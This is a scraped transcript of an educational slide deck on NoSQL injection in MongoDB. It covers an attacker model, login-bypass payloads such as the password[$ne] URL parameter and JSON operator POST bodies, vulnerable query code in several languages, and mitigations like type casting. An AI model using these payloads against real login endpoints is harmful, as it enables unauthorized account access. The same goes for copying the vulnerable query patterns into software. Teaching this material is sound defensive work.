nosql injectionce.sharif.edu/courses/97-98/1/ce734-1/resources/root/slides/nosqli.… · 2...

21
1 NOSQL INJECTION FUN WITH OBJECTS AND ARRAYS Patrick Spiegel

Upload: others

Post on 26-Aug-2020

2 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

1

NOSQL INJECTIONFUN WITH OBJECTS AND ARRAYS

Patrick Spiegel

Page 2: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

2

MOTIVATION

... with MongoDB we are not building queriesfrom strings, so traditional SQL injection attacks

are not a problem.

- MongoDB Developer FAQ

Page 3: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

3

 

AGENDA

 Scope

 Attacker Model

 Attacks

 Mitigation

Page 4: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

4 . 1

SCOPE

Page 5: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

4 . 2

SCOPE - DATABASES

Database Type Ranking

Document store 5.

Key-value store 9.

Key-value cache 23.

Document store 26.

Page 6: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

4 . 3

SCOPE - DATABASES

Page 7: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

4 . 4

 

   

SCOPE - TECHNOLOGY STACKWhat do we have to consider for NoSQL Injection?

DATABASES

      DATABASE DRIVERS

APPLICATION SERVERS

      

FRAMEWORKS

~ 64 TECHNOLOGY STACKS

Page 8: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

5 . 1

ATTACKER MODEL

Page 9: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

5 . 2

ATTACKER MODEL - MIGHTINESS

The attacker is aware of the deployed  technology stack  including application server,

driver, frameworks and database.

The attacker is able to send  arbitrary requests  tothe server with the authorization of a normal

application user.

Page 10: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

5 . 3

ATTACKER MODEL - GOAL

The attacker's goal is to achieve  unintended behavior  of the database query by

altering query  parameters.

The attacker is able to trigger unintended  CRUD operations .

Page 11: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

5 . 4

ATTACKER MODEL - OVERVIEW

Page 12: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

6 . 1

INJECTION ATTACKS

Page 13: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

6 . 2

WHAT'S ALREADY KNOWN?

Login bypass for MongoDB on PHP and NodeJS 

String concatenation is still an issue for JSON andscript parameters 

Escaping flaws of drivers e.g. Memcached Got fixed!

Page 14: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

6 . 3

 

MONGODB - LOGIN BYPASS// NodeJS with Express.js db.collection('users').find({ "user": req.query.user, "password": req.query.password });

https://example.org/login?user=patrick&password=1234

https://example.org/login?user=patrick&password[%24ne]=

// NodeJS with Express.js db.collection('users').find({ "user": "patrick", "password": {"&ne": ""} });

Page 15: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

6 . 4

MONGODB - LOGIN BYPASS// PHP $collection->find(array( 'user' => $_GET['user'], 'password' => $_GET['password'] ));

 What's even new?

# Ruby on Rails db['users'].find({ :user => req.params['user'], :password => req.params['password'] })

# Python with Django db.users.find({ "user": request.GET['user'], "password": request.GET['password']})

Page 16: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

6 . 5

MONGODB - LOGIN BYPASS

... also works for POST requests!

POST /login HTTP/1.1 Host: example.org Content-Type: application/json Content-Length: 38

{'user': 'patrick', 'password': {'&gt': ''}}

POST /login HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 29

user=Patrick&password[%24ne]=

Page 17: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

7 . 1

MITIGATION

Page 18: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

7 . 2

WHAT'S THE PROBLEM?The queries' semantic is encoded in the  object  or

type structure  of passed parameters. 

{'password': '1234'} vs {'password': {'&ne': '1'}} 

Page 19: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

7 . 3

 

IS TYPE CASTING A SOLUTION?

{'password': req.param.password.toString()}

 Secure against type manipulation

 Not flexible enough for unstructured data

 Easy to forget in practice ...

Page 20: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

7 . 4

IS DYNAMIC CODE ANALYSIS ASOLUTION?

{user: 'Patrick', address: {city: 'Karlsruhe', code:76133}}

Reduces user-controlled data to string andinteger values

Application-controlled structure

Page 21: NOSQL INJECTIONce.sharif.edu/courses/97-98/1/ce734-1/resources/root/Slides/NoSQLI.… · 2 MOTIVATION ... with MongoDB we are not building queries from strings, so traditional SQL

7 . 5

DYNAMIC CODE ANALYSISDATA VARIETY?

if (obj.user && obj.address) { collection.insert({user: obj.user, address: obj.address}); } else if (obj.user && obj.phone) { collection.insert({user: obj.user, phone: obj.phone}); } else if ...

 Secure for structure manipulation

 Impractical for many different propertycombinations!